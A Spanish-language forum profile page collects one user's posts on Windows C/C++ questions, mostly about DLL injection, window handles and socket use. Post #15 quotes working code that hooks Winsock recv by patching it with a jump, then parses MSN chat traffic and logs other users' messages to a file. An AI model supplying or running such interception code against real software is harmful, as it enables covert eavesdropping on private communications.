Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - while

#11
he probado con
FindWindow(NULL,NULL);
y no me funciona.

Solo me deja hacerlo con:
FindWindow(NULL,TEXT("algo"));
Pero no quiero hacerlo de esta manera.
#12
Tengo una DLL inyectada a una aplicación

case DLL_PROCESS_ATTACH:

    HWND asdf=?;
    SetWindowText(asdf,"Nuevo titulo\0");
break;

pues quiero modificar el titulo de esa aplicación, pero he de obtener el handle de la misma.
Como tendria que ser el ? ?

Saludos y gracias.
#13
console.cpp:
Código (cpp) [Seleccionar]
#include <windows.h>
#include <stdio.h>

int main(){
printf("hola");
... llamarlaventana ...
}


ese llamarlaventana, que tendria que ser?

ventana.cpp:
Código (cpp) [Seleccionar]

/*  Declare Windows procedure  */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);

/*  Make the class name into a global variable  */
char szClassName[ ] = "WindowsApp";

int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)

{
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */

    /* The Window structure */
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
    wincl.cbSize = sizeof (WNDCLASSEX);

    /* Use default icon and mouse-pointer */
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;                 /* No menu */
    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
    wincl.cbWndExtra = 0;                      /* structure or the window instance */
    /* Use Windows's default color as the background of the window */
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    /* Register the window class, and if it fails quit the program */
    if (!RegisterClassEx (&wincl))
        return 0;

    /* The class is registered, let's create the program*/
    hwnd = CreateWindowEx (
           0,                   /* Extended possibilites for variation */
           szClassName,         /* Classname */
           "Windows App",       /* Title Text */
           WS_OVERLAPPEDWINDOW, /* default window */
           CW_USEDEFAULT,       /* Windows decides the position */
           CW_USEDEFAULT,       /* where the window ends up on the screen */
           544,                 /* The programs width */
           375,                 /* and height in pixels */
           HWND_DESKTOP,        /* The window is a child-window to desktop */
           NULL,                /* No menu */
           hThisInstance,       /* Program Instance handler */
           NULL                 /* No Window Creation data */
           );

    /* Make the window visible on the screen */
    ShowWindow (hwnd, nFunsterStil);

    /* Run the message loop. It will run until GetMessage() returns 0 */
    while (GetMessage (&messages, NULL, 0, 0))
    {
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
    }

    /* The program return-value is 0 - The value that PostQuitMessage() gave */
    return messages.wParam;
}


/*  This function is called by the Windows function DispatchMessage()  */

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {
        case WM_DESTROY:
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;
}


Es para hacer un splash screen, y quiero hacerlo de esta manera, solo que la aplicación principal es de consola, y no quiero usar wxwidgets.

Saludos y gracias.
#14
Busco algo asi como
#define TIEMPO __DATE__ __TIME__

pero necesito obtener el unixtime.

Alguna idea?

Saludos y gracias
#15
Lo estuve viendo hace unos dias, y por eso buscaba algo sencillo, para ver como hace para hookear.

void HookearRec(void);

int WINAPI recHook(SOCKET s,char *buf,int len,int flags);
int (__stdcall *pBuffrec)(SOCKET s,char *buf,int len,int flags);;


void HookearRec(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),"recv");

if ((Buffer=(BYTE *)malloc(NumBytes+5))==NULL) return;
if (VirtualProtect((void *) Buffer,NumBytes+5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;

memcpy(Buffer,DirApi,NumBytes);

Buffer+=NumBytes;
*Buffer=0xE9;
Buffer++;
*((signed int *) Buffer)=DirApi-Buffer+(NumBytes-5)+1;


pBuffrec = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-NumBytes-1);

if (VirtualProtect((void *) DirApi,NumBytes,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;

DirYo=(BYTE *) recHook;
*DirApi=0xE9;
DirApi++;
*((signed int *) DirApi)=DirYo-DirApi-4;

FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

int WINAPI recHook(SOCKET s,char *buf,int len,int flags)
{
int res;
char Escric[1024];
int payl;
FILE *Xat;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;



res=pBuffrec(s,buf,len,flags);


if ((Ini=strstr(buf,"IRO "))!=NULL && strstr(buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=s;
}

if (buf!=NULL && strcmp(buf,"")!=0 && (Ini=strstr(buf,"MSG"))!=NULL && strstr(buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Xat=fopen(xatFile,"a");
fputs("\r\n",Xat);
fputs(Escric,Xat);
fputs(" dice:",Xat);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Xat);
fputs(Ini2,Xat);
fclose(Xat);

if (blockrec)
{
strcpy(buf,"\0");
len=0;
return 0;
}
}


return (res);
}



Conoces algun otro sencillo y conciso?
#16
Hola, alguien podria poner algun ejemplo muy brebe y sencillo de como hacer hook a recv sin detours?

Quiero en una dll meter en un thread:
while(true)
{

recv(num,buf,sizeof(buf), 0);

if((*(unsigned short*)buf)==0x7245)
{
algo
break;
}

}

y inyectarla a un programa, asi poder capturar todos los paquetes que reciba la aplicación sin parar, de forma paralela, y actuar justo sobre el que quiero (0x7245)

Saludos y muchas gracias!
#17
int y, x;

for(c=0;c<e;c++)
{
if(a[c] > x)
{
x = a[c];
y = c;
}
}
el mayor es el que esta en la posición y. (que equivale a x)
(ojo, si hay varios valores de igual tamaño, te vale: el mayor es x)
#18
hola ctlon, muchas gracias por responder.

Edito:
Bueno, he programado un cliente y un servidor sencillos para comprobar comportamientos, y asi poder entender mejor si me explicais:

Comun en el cliente y el servidor:
static char bufrecibir[2048];
char *bufenviar;



Servidor:
// enviar bienvenida.
bufenviar = "bienvenido al servidor";
send (comunicacion,bufenviar, strlen(bufenviar), 0);

// recibir gracias.
recv(comunicacion,bufrecibir,sizeof(bufrecibir), 0);
memset (bufrecibir, 0, sizeof (bufrecibir));

// enviar de nada.
bufenviar = "de nada";
send (comunicacion,bufenviar, strlen(bufenviar), 0);



Cliente:
// recibir bienvenida.
recv(comunicacion,bufrecibir,sizeof(bufrecibir), 0);
memset (bufrecibir, 0, sizeof (bufrecibir));

// enviar gracias.
bufenviar = "gracias";
send (comunicacion,bufenviar, strlen(bufenviar), 0);

// recibir de nada.
recv(comunicacion,bufrecibir,sizeof(bufrecibir), 0);
memset (bufrecibir, 0, sizeof (bufrecibir));


Aqui por ejemplo haciendo un cout << comunicacion;
este me devuelve 120, por lo este es el decriptor (rectificarme si me equivoco)

Ahora bien, y si yo quito del cliente la parte 2 (enviar gracias)
// enviar gracias.
bufenviar = "gracias";
send (comunicacion,bufenviar, strlen(bufenviar), 0);

como hago para que esto, lo envie la dll inyectada?
quizas con:
send (120,"gracias", strlen("gracias"), 0);
?
y como puedo saber en la dll, que el cliente ha recibido la bienvenida? (para saber en que momento ha de enviar la dll claro)


Edito de nuevo:

he puesto en el cliente:
// enviar gracias.
LoadLibrary( "dll.dll" );

y en la dll tengo:
send (112,"gracias desde la dll", strlen("gracias desde la dll"), 0);
printf("Mensaje enviado\n");
y se envia.

Ahora, como puedo cargar el LoadLibrary( "dll.dll" );
al inicio del programa, y hacer que el dll sepa cuando enviar las gracias?

Edito otra vez:
Como podria ver el descriptor con wireshark?
#19
Hola, expongo mi caso:
Tengo un ejecutable (hace de cliente)(no dispongo del código fuente).
Para añadirle funcionalidades al mismo, uso una dll que inyecto al propio ejecutable.
Tengo un servidor.

Entonces:
(Desde la DLL) Quiero enviar un paquete al servidor, por un socket ya existente.
Ese socket lo crea el propio cliente en el momento que el usuario escribe su usuario y contraseña y le da a enviar. (y se establece la conexión con el servidor)

Entonces,
para enviar el paquete, primero debo saber cuando se ha establecido la conexión.
Deberia hacer un hook a recv?
una vez pillo que se ha enviado el paquete 0x01, como envio yo el buf "hola" por el mismo socket?
Deberia hacer: ?

int bytesSent;
char sendbuf[32] = "hola";

bytesSent = send( ConnectSocket, sendbuf, strlen(sendbuf), 0 );
ahora bien, necesito sacar el ConnectSocket ya existente, ya que si hiciese SOCKET ConnectSocket; estaria creando uno nuevo y no es lo que busco.
Busco usar uno ya existente. (y como siempre cambia, no se como podria pillarlo ¿algun ejemplo?)

Saludos y muchas gracias.
#20
Ya he conseguido hacer lo que quería, tenía que exportar tambien el DllMain:
#include <windows.h>
#include <stdio.h>

#define EXPORT extern "C" __declspec (dllexport)


EXPORT void injection( ){} //Anclaje

EXPORT BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved)
{
    switch(reason)
    {
        case DLL_PROCESS_ATTACH:
            MessageBox(0,"Este mensaje se muestra al abrir la aplicación","Titulo Mensaje 1",MB_OK);
            break;

        case DLL_PROCESS_DETACH:
            MessageBox(0,"Este mensaje se muestra al cerrar la aplicación","Titulo Mensaje 2",MB_OK);
            break;
    }
    return true;
}


Espero que a mas gente le sirva este hilo de ayuda/ejemplo.
Muchas gracias a todos.